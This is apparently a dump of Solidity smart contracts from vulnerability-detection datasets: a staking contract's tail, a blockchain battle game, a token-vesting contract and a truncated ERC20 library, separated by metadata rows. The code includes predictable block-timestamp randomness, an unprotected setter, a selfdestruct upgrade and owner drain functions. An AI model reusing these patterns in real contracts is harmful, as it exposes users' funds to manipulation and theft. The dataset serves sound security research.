uint256 share = getShareOf(msg.sender, cycle);
uint256 sum = payouts[cycle].mul(share) / precision;
require(sum > 0, "CLAIM5: Nothing to claim");
stakers[msg.sender].lastClaimCycle = cycle;
stakers[msg.sender].totalRewards += sum;
payoutClaimed[msg.sender][cycle] = true;
PAYMENT_TOKEN.transfer(msg.sender, sum);
emit Claimed(msg.sender, sum);
}
function unstake(bool bypassClaimAll) external {
require(paused == false, "UNSTAKE: Contract is paused.");
require(blacklist[msg.sender] == false, "UNSTAKE: You are blacklisted");
require(stakers[msg.sender].amount > 0, "UNSTAKE: You have nothing to unstake.");
if (bypassClaimAll == false) {
if (getAllRewardsOf(msg.sender) > 0) {
claimAll();
}
}
uint256 feesRatio = getUnstakeFees(msg.sender);
uint256 feesAmount = stakers[msg.sender].amount.mul(feesRatio) / precision;
uint256 amountAfterFees = stakers[msg.sender].amount.sub(feesAmount);
stakers[msg.sender].amount = 0;
stakers[msg.sender].stakeCycle = 0;
stakers[msg.sender].unstakeCycle = currentCycle();
totalStaked[currentCycle()] -= amountStaked[msg.sender][currentCycle()];
stakedDuringCycle[msg.sender][currentCycle()] = false;
// FEE TRANSFERS
PLAYMATES.transfer(POOL, feesAmount.mul(unstakeDistribution[0]) / precision);
PLAYMATES.transfer(address(PLAYMATES), feesAmount.mul(unstakeDistribution[1]) / precision);
PLAYMATES.transfer(TREASURY, feesAmount.mul(unstakeDistribution[2]) / precision);
PLAYMATES.transfer(MARKETING, feesAmount.mul(unstakeDistribution[3]) / precision);
PLAYMATES.transfer(msg.sender, amountAfterFees);
emit Unstaked(msg.sender, amountAfterFees);
}
// ONLY OWNER FUNCTIONS
function setPrecision(uint256 _precision) external onlyOwner {
precision = _precision;
}
function setPaused(bool _val) external onlyOwner {
paused = _val;
}
function setPayout(uint256 cycle, uint256 amount) external onlyOwner {
payouts[cycle] = amount;
}
function setBlacklisted(address user, bool _val) external onlyOwner {
blacklist[user] = _val;
}
function setBaseUri(string memory _baseUri) external onlyOwner {
baseUri = _baseUri;
}
function setPlaymates(address _PLAYMATES) external onlyOwner {
PLAYMATES = IERC20(_PLAYMATES);
}
function setPaymentToken(address _PAYMENT_TOKEN) external onlyOwner {
PAYMENT_TOKEN = IERC20(_PAYMENT_TOKEN);
}
function setPool(address _POOL) external onlyOwner {
POOL = _POOL;
}
function setTreasury(address _TREASURY) external onlyOwner {
TREASURY = _TREASURY;
}
function setMarketing(address _MARKETING) external onlyOwner {
MARKETING = _MARKETING;
}
function setStakeDistribution(uint256[] memory _stakeDistribution) external onlyOwner {
stakeDistribution = _stakeDistribution;
}
function setUnstakeDistribution(uint256[] memory _unstakeDistribution) external onlyOwner {
unstakeDistribution = _unstakeDistribution;
}
function setCycleDuration(uint256 _cycleDuration) external onlyOwner {
cycleDuration = _cycleDuration;
}
function setStakeFee(uint256 _stakeFee) external onlyOwner {
stakeFee = _stakeFee;
}
function setUnstakeFees(uint256[] memory _unstakeFees, uint256 _unstakeFeesLength) external onlyOwner {
unstakeFees = _unstakeFees;
unstakeFeesLength = _unstakeFeesLength;
}
function setMinStakeAndMaxStake(uint256 _minStake, uint256 _maxStake) external onlyOwner {
minStake = _minStake * 10**16;
maxStake = _maxStake * 10**16;
}
function withdrawPlaymates() external onlyOwner {
PLAYMATES.transfer(msg.sender, PLAYMATES.balanceOf(address(this)));
}
function withdrawPayment() external onlyOwner {
PAYMENT_TOKEN.transfer(msg.sender, PAYMENT_TOKEN.balanceOf(address(this)));
}
}
| 88,793 | 12,235 |
3ee0509e030de510a0924e1a0766da92e6075aa5b42ab14844ea742ec27822b1
| 16,488 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.7/0xce6c5ef2ed8f6171331830c018900171dcbd65ac.sol
| 4,043 | 13,861 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract CryptoMiningWarInterface {
uint256 public deadline;
function subCrystal(address , uint256) public pure {}
function addCrystal(address , uint256) public pure {}
}
interface CryptoEngineerInterface {
function addVirus(address , uint256) external pure;
function subVirus(address , uint256) external pure;
function isContractMiniGame() external pure returns(bool);
function calculateCurrentVirus(address) external view returns(uint256);
function calCurrentCrystals(address) external pure returns(uint256);
}
interface CryptoProgramFactoryInterface {
function isContractMiniGame() external pure returns(bool);
function subPrograms(address , uint256[]) external;
function getData(address _addr) external pure returns(uint256 , uint256 , uint256[]);
function getProgramsValue() external pure returns(uint256[]);
}
interface MiniGameInterface {
function isContractMiniGame() external pure returns(bool);
function fallback() external payable;
}
contract CrryptoArena {
using SafeMath for uint256;
address public administrator;
uint256 public VIRUS_NORMAL = 0;
uint256 public HALF_TIME_ATK= 60 * 15;
uint256 public CRTSTAL_MINING_PERIOD = 86400;
uint256 public VIRUS_MINING_PERIOD = 86400;
CryptoMiningWarInterface public MiningWar;
CryptoEngineerInterface public Engineer;
CryptoProgramFactoryInterface public Factory;
uint256 miningWarDeadline;
// factory info
// player info
mapping(address => Player) public players;
mapping(uint256 => Virus) public viruses;
// minigame info
mapping(address => bool) public miniGames;
struct Player {
uint256 virusDef;
uint256 nextTimeAtk;
uint256 endTimeUnequalledDef;
}
struct Virus {
uint256 atk;
uint256 def;
}
modifier isAdministrator()
{
require(msg.sender == administrator);
_;
}
modifier onlyContractsMiniGame()
{
require(miniGames[msg.sender] == true);
_;
}
event Attack(address atkAddress, address defAddress, bool victory, uint256 reward, uint256 virusAtkDead, uint256 virusDefDead, uint256 atk, uint256 def, uint256 round); // 1 : crystals, 2: hashrate, 3: virus
event Programs(uint256 programLv1, uint256 programLv2, uint256 programLv3, uint256 programLv4);
constructor() public {
administrator = msg.sender;
// set interface contract
setMiningWarInterface(0xf84c61bb982041c030b8580d1634f00fffb89059);
setEngineerInterface(0x69fd0e5d0a93bf8bac02c154d343a8e3709adabf);
setFactoryInterface(0x6fa883afde9bc8d9bec0fc7bff25db3c71864402);
// setting virusupd
viruses[VIRUS_NORMAL] = Virus(1,1);
}
function () public payable
{
}
function isContractMiniGame() public pure returns(bool _isContractMiniGame)
{
_isContractMiniGame = true;
}
function upgrade(address addr) public isAdministrator
{
selfdestruct(addr);
}
function setupMiniGame(uint256 , uint256 _miningWarDeadline) public
{
miningWarDeadline = _miningWarDeadline;
}
//--------------------------------------------------------------------------
// SETTING CONTRACT MINI GAME
//--------------------------------------------------------------------------
function setContractsMiniGame(address _addr) public isAdministrator
{
MiniGameInterface MiniGame = MiniGameInterface(_addr);
if(MiniGame.isContractMiniGame() == false) revert();
miniGames[_addr] = true;
}
function removeContractMiniGame(address _addr) public isAdministrator
{
miniGames[_addr] = false;
}
// ---------------------------------------------------------------------------------------
// SET INTERFACE CONTRACT
// ---------------------------------------------------------------------------------------
function setMiningWarInterface(address _addr) public isAdministrator
{
MiningWar = CryptoMiningWarInterface(_addr);
}
function setEngineerInterface(address _addr) public isAdministrator
{
CryptoEngineerInterface engineerInterface = CryptoEngineerInterface(_addr);
require(engineerInterface.isContractMiniGame() == true);
Engineer = engineerInterface;
}
function setFactoryInterface(address _addr) public isAdministrator
{
CryptoProgramFactoryInterface factoryInterface = CryptoProgramFactoryInterface(_addr);
require(factoryInterface.isContractMiniGame() == true);
Factory = factoryInterface;
}
// FUCTION FOR NEXT VERSION
function setAtkNowForPlayer(address _addr) public onlyContractsMiniGame
{
Player storage p = players[_addr];
p.nextTimeAtk = now;
}
function addVirusDef(address _addr, uint256 _virus) public
{
require(miniGames[msg.sender] == true || msg.sender == _addr);
Engineer.subVirus(_addr, _virus);
Player storage p = players[_addr];
p.virusDef += SafeMath.mul(_virus, VIRUS_MINING_PERIOD);
}
function subVirusDef(address _addr, uint256 _virus) public onlyContractsMiniGame
{
_virus = SafeMath.mul(_virus, VIRUS_MINING_PERIOD);
require(players[_addr].virusDef >= _virus);
Player storage p = players[_addr];
p.virusDef -= _virus;
}
function addTimeUnequalledDefence(address _addr, uint256 _value) public onlyContractsMiniGame
{
Player storage p = players[_addr];
uint256 currentTimeUnequalled = p.endTimeUnequalledDef;
if (currentTimeUnequalled < now) currentTimeUnequalled = now;
p.endTimeUnequalledDef = SafeMath.add(currentTimeUnequalled, _value);
}
// MAIN CONTENT
function setVirusInfo(uint256 _atk, uint256 _def) public isAdministrator
{
Virus storage v = viruses[VIRUS_NORMAL];
v.atk = _atk;
v.def = _def;
}
function startGame() public
{
require(msg.sender == administrator);
require(miningWarDeadline == 0);
miningWarDeadline = MiningWar.deadline();
}
function attack(address _defAddress, uint256 _virus, uint256[] _programs) public
{
require(validateAttack(msg.sender, _defAddress) == true);
require(_programs.length == 4);
require(validatePrograms(_programs) == true);
Factory.subPrograms(msg.sender, _programs);
Engineer.subVirus(msg.sender, _virus);
uint256[] memory programsValue = Factory.getProgramsValue();
bool victory;
uint256 atk;
uint256 def;
uint256 virusAtkDead;
uint256 virusDefDead;
(victory, atk, def, virusAtkDead, virusDefDead) = firstAttack(_defAddress, SafeMath.mul(_virus, VIRUS_MINING_PERIOD), _programs, programsValue);
endAttack(_defAddress, victory, SafeMath.div(virusAtkDead, VIRUS_MINING_PERIOD), SafeMath.div(virusDefDead, VIRUS_MINING_PERIOD), atk, def, 1, _programs);
if (_programs[1] == 1 && victory == false)
againAttack(_defAddress, SafeMath.div(SafeMath.mul(SafeMath.mul(_virus, VIRUS_MINING_PERIOD), programsValue[1]), 100)); // revival 15 % _virus if this atk lose(not use item before)
players[msg.sender].nextTimeAtk = now + HALF_TIME_ATK;
}
function firstAttack(address _defAddress, uint256 _virus, uint256[] _programs, uint256[] programsValue)
private
returns(bool victory,
uint256 atk,
uint256 def,
uint256 virusAtkDead,
uint256 virusDefDead)
{
Player storage pDef = players[_defAddress];
atk = _virus;
uint256 rateAtk = 50 + randomNumber(msg.sender, 1, 101);
uint256 rateDef = 50 + randomNumber(_defAddress, rateAtk, 101);
if (_programs[0] == 1) // + 10% _virus;
atk += SafeMath.div(SafeMath.mul(atk, programsValue[0]), 100);
if (_programs[3] == 1) // -5% virus defence of player you want attack
pDef.virusDef = SafeMath.sub(pDef.virusDef, SafeMath.div(SafeMath.mul(pDef.virusDef, programsValue[3]), 100));
atk = SafeMath.div(SafeMath.mul(SafeMath.mul(atk, viruses[VIRUS_NORMAL].atk), rateAtk), 100);
def = SafeMath.div(SafeMath.mul(SafeMath.mul(pDef.virusDef, viruses[VIRUS_NORMAL].def), rateDef), 100);
if (_programs[2] == 1) //+ 20% dame
atk += SafeMath.div(SafeMath.mul(atk, programsValue[2]), 100);
if (atk >= def) {
virusAtkDead = SafeMath.min(_virus, SafeMath.div(SafeMath.mul(def, 100), SafeMath.mul(viruses[VIRUS_NORMAL].atk, rateAtk)));
virusDefDead = pDef.virusDef;
victory = true;
} else {
virusAtkDead = _virus;
virusDefDead = SafeMath.min(pDef.virusDef, SafeMath.div(SafeMath.mul(atk, 100), SafeMath.mul(viruses[VIRUS_NORMAL].def, rateDef)));
}
pDef.virusDef = SafeMath.sub(pDef.virusDef, virusDefDead);
if (_virus > virusAtkDead)
Engineer.addVirus(msg.sender, SafeMath.div(SafeMath.sub(_virus, virusAtkDead), VIRUS_MINING_PERIOD));
}
function againAttack(address _defAddress, uint256 _virus) private returns(bool victory)
{
Player storage pDef = players[_defAddress];
// virus normal info
Virus memory v = viruses[VIRUS_NORMAL];
uint256 rateAtk = 50 + randomNumber(msg.sender, 1, 101);
uint256 rateDef = 50 + randomNumber(_defAddress, rateAtk, 101);
uint256 atk = SafeMath.div(SafeMath.mul(SafeMath.mul(_virus, v.atk), rateAtk), 100);
uint256 def = SafeMath.div(SafeMath.mul(SafeMath.mul(pDef.virusDef, v.def), rateDef), 100);
uint256 virusDefDead = 0;
uint256[] memory programs;
if (atk >= def) {
virusDefDead = pDef.virusDef;
victory = true;
} else {
virusDefDead = SafeMath.min(pDef.virusDef, SafeMath.div(SafeMath.mul(atk, 100), SafeMath.mul(v.def, rateDef)));
}
pDef.virusDef = SafeMath.sub(pDef.virusDef, virusDefDead);
endAttack(_defAddress, victory, 0, SafeMath.div(virusDefDead, VIRUS_MINING_PERIOD), atk, def, 2, programs);
}
function endAttack(address _defAddress, bool victory, uint256 virusAtkDead, uint256 virusDefDead, uint256 atk, uint256 def, uint256 round, uint256[] programs) private
{
uint256 reward = 0;
if (victory == true) {
uint256 pDefCrystals = Engineer.calCurrentCrystals(_defAddress);
// subtract random 10% to 50% current crystals of player defence
uint256 rate = 10 + randomNumber(_defAddress, pDefCrystals, 41);
reward = SafeMath.div(SafeMath.mul(pDefCrystals, rate),100);
if (reward > 0) {
MiningWar.subCrystal(_defAddress, reward);
MiningWar.addCrystal(msg.sender, reward);
}
}
emit Attack(msg.sender, _defAddress, victory, reward, virusAtkDead, virusDefDead, atk, def, round);
if (round == 1) emit Programs(programs[0], programs[1], programs[2], programs[3]);
}
function validateAttack(address _atkAddress, address _defAddress) private view returns(bool _status)
{
if (_atkAddress != _defAddress &&
players[_atkAddress].nextTimeAtk <= now &&
canAttack(_defAddress) == true) {
_status = true;
}
}
function validatePrograms(uint256[] _programs) private view returns(bool _status)
{
_status = true;
for(uint256 idx = 0; idx < _programs.length; idx++) {
if (_programs[idx] != 0 && _programs[idx] != 1) _status = false;
}
}
function canAttack(address _addr) private view returns(bool _canAtk)
{
if (players[_addr].endTimeUnequalledDef < now &&
Engineer.calCurrentCrystals(_addr) >= 5000) {
_canAtk = true;
}
}
// CALL FUNCTION
function getData(address _addr)
public
view
returns(uint256 _virusDef,
uint256 _nextTimeAtk,
uint256 _endTimeUnequalledDef,
bool _canAtk,
// engineer
uint256 _currentVirus,
// mingin war
uint256 _currentCrystals) {
Player memory p = players[_addr];
_virusDef = SafeMath.div(p.virusDef, VIRUS_MINING_PERIOD);
_nextTimeAtk = p.nextTimeAtk;
_endTimeUnequalledDef= p.endTimeUnequalledDef;
_currentVirus = SafeMath.div(Engineer.calculateCurrentVirus(_addr), VIRUS_MINING_PERIOD);
_currentCrystals = Engineer.calCurrentCrystals(_addr);
_canAtk = canAttack(_addr);
}
// INTERNAL FUNCTION
function randomNumber(address _addr, uint256 randNonce, uint256 _maxNumber) private view returns(uint256)
{
return uint256(keccak256(abi.encodePacked(now, _addr, randNonce))) % _maxNumber;
}
}
| 218,807 | 12,236 |
dde850cdc5438377e76fca9917c4ac55f9340211ee15915e96fe9583ccfe0205
| 20,331 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs-wild-clean-contracts/0x651455a972659c7399b563005894628ac41c3750.sol
| 3,789 | 14,331 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract TokenVesting is Owned {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
// beneficiary of tokens after they are released
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
address internal ownerShip;
constructor(address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable,
address _realOwner)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
ownerShip = _realOwner;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(ownerShip, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
contract TokenVault {
using SafeERC20 for ERC20;
// ERC20 token contract being held
ERC20 public token;
constructor(ERC20 _token) public {
token = _token;
}
function fillUpAllowance() public {
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.approve(token, amount);
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
}
}
contract CWI_Token is BurnableToken, Owned {
string public constant name = "COOP WORLD INVEST";
string public constant symbol = "CWI";
uint8 public constant decimals = 18;
/// Maximum tokens to be allocated (5.5 billion BKB)
uint256 public constant HARD_CAP = 5500000000 * 10**uint256(decimals);
/// This address will be used to distribute the team, advisors and reserve tokens
address public saleTokensAddress;
/// This vault is used to keep the Founders, Advisors and Partners tokens
TokenVault public reserveTokensVault;
/// Date when the vesting for regular users starts
uint64 internal daySecond = 86400;
uint64 internal lock90Days = 90;
uint64 internal unlock100Days = 100;
uint64 internal lock365Days = 365;
/// Store the vesting contract addresses for each sale contributor
mapping(address => address) public vestingOf;
constructor(address _saleTokensAddress) public payable {
require(_saleTokensAddress != address(0));
saleTokensAddress = _saleTokensAddress;
/// Maximum tokens to be sold - 1/1 (5.5 billion)
uint256 saleTokens = 5500000000;
createTokensInt(saleTokens, saleTokensAddress);
require(totalSupply_ <= HARD_CAP);
}
/// @dev Create a ReserveTokenVault
function createReserveTokensVault() external onlyOwner {
require(reserveTokensVault == address(0));
/// Reserve tokens - 0 (0 billion)
uint256 reserveTokens = 0;
reserveTokensVault = createTokenVaultInt(reserveTokens);
require(totalSupply_ <= HARD_CAP);
}
/// @dev Create a TokenVault and fill with the specified newly minted tokens
function createTokenVaultInt(uint256 tokens) internal onlyOwner returns (TokenVault) {
TokenVault tokenVault = new TokenVault(ERC20(this));
createTokensInt(tokens, tokenVault);
tokenVault.fillUpAllowance();
return tokenVault;
}
// @dev create specified number of tokens and transfer to destination
function createTokensInt(uint256 _tokens, address _destination) internal onlyOwner {
uint256 tokens = _tokens * 10**uint256(decimals);
totalSupply_ = totalSupply_.add(tokens);
balances[_destination] = balances[_destination].add(tokens);
emit Transfer(0x0, _destination, tokens);
require(totalSupply_ <= HARD_CAP);
}
/// @dev vest Detail : second unit
function vestTokensDetailInt(address _beneficiary,
uint256 _startS,
uint256 _cliffS,
uint256 _durationS,
bool _revocable,
uint256 _tokensAmountInt) external onlyOwner {
require(_beneficiary != address(0));
uint256 tokensAmount = _tokensAmountInt * 10**uint256(decimals);
if(vestingOf[_beneficiary] == 0x0) {
TokenVesting vesting = new TokenVesting(_beneficiary, _startS, _cliffS, _durationS, _revocable, owner);
vestingOf[_beneficiary] = address(vesting);
}
require(this.transferFrom(reserveTokensVault, vestingOf[_beneficiary], tokensAmount));
}
/// @dev vest StartAt : day unit
function vestTokensStartAtInt(address _beneficiary,
uint256 _tokensAmountInt,
uint256 _startS,
uint256 _afterDay,
uint256 _cliffDay,
uint256 _durationDay) public onlyOwner {
require(_beneficiary != address(0));
uint256 tokensAmount = _tokensAmountInt * 10**uint256(decimals);
uint256 afterSec = _afterDay * daySecond;
uint256 cliffSec = _cliffDay * daySecond;
uint256 durationSec = _durationDay * daySecond;
if(vestingOf[_beneficiary] == 0x0) {
TokenVesting vesting = new TokenVesting(_beneficiary, _startS + afterSec, cliffSec, durationSec, true, owner);
vestingOf[_beneficiary] = address(vesting);
}
require(this.transferFrom(reserveTokensVault, vestingOf[_beneficiary], tokensAmount));
}
/// @dev vest function from now
function vestTokensFromNowInt(address _beneficiary, uint256 _tokensAmountInt, uint256 _afterDay, uint256 _cliffDay, uint256 _durationDay) public onlyOwner {
vestTokensStartAtInt(_beneficiary, _tokensAmountInt, now, _afterDay, _cliffDay, _durationDay);
}
/// @dev vest the sale contributor tokens for 100 days, 1% gradual release
function vestCmdNow1PercentInt(address _beneficiary, uint256 _tokensAmountInt) external onlyOwner {
vestTokensFromNowInt(_beneficiary, _tokensAmountInt, 0, 0, unlock100Days);
}
function vestCmd3Month1PercentInt(address _beneficiary, uint256 _tokensAmountInt) external onlyOwner {
vestTokensFromNowInt(_beneficiary, _tokensAmountInt, lock90Days, 0, unlock100Days);
}
/// @dev vest the sale contributor tokens 100% release after 1 year
function vestCmd1YearInstantInt(address _beneficiary, uint256 _tokensAmountInt) external onlyOwner {
vestTokensFromNowInt(_beneficiary, _tokensAmountInt, 0, lock365Days, lock365Days);
}
/// @dev releases vested tokens for the caller's own address
function releaseVestedTokens() external {
releaseVestedTokensFor(msg.sender);
}
/// @dev releases vested tokens for the specified address.
/// Can be called by anyone for any address.
function releaseVestedTokensFor(address _owner) public {
TokenVesting(vestingOf[_owner]).release(this);
}
/// @dev check the vested balance for an address
function lockedBalanceOf(address _owner) public view returns (uint256) {
return balances[vestingOf[_owner]];
}
/// @dev check the locked but releaseable balance of an owner
function releaseableBalanceOf(address _owner) public view returns (uint256) {
if (vestingOf[_owner] == address(0)) {
return 0;
} else {
return TokenVesting(vestingOf[_owner]).releasableAmount(this);
}
}
/// @dev revoke vested tokens for the specified address.
/// Tokens already vested remain in the contract, the rest are returned to the owner.
function revokeVestedTokensFor(address _owner) public onlyOwner {
TokenVesting(vestingOf[_owner]).revoke(this);
}
/// @dev Create a ReserveTokenVault
function makeReserveToVault() external onlyOwner {
require(reserveTokensVault != address(0));
reserveTokensVault.fillUpAllowance();
}
}
| 134,517 | 12,237 |
d0b06cf5610c44e6665a34ca4fb05f520f48d45f4c7a3f52a2dcb211ee67062b
| 31,297 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/b9/b9193c22e895ea3ef46f67cb1633b66c6e718afe_Usb.sol
| 4,608 | 16,518 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// the valid range for s in (281): 0 < s < secp256k1n 2 + 1, and for v in (282): v {27, 28}. Most
//
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return address(0);
}
if (v != 27 && v != 28) {
return address(0);
}
// If the signature is valid (and not malleable), return the signer address
return ecrecover(hash, v, r, s);
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal returns(bool){
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
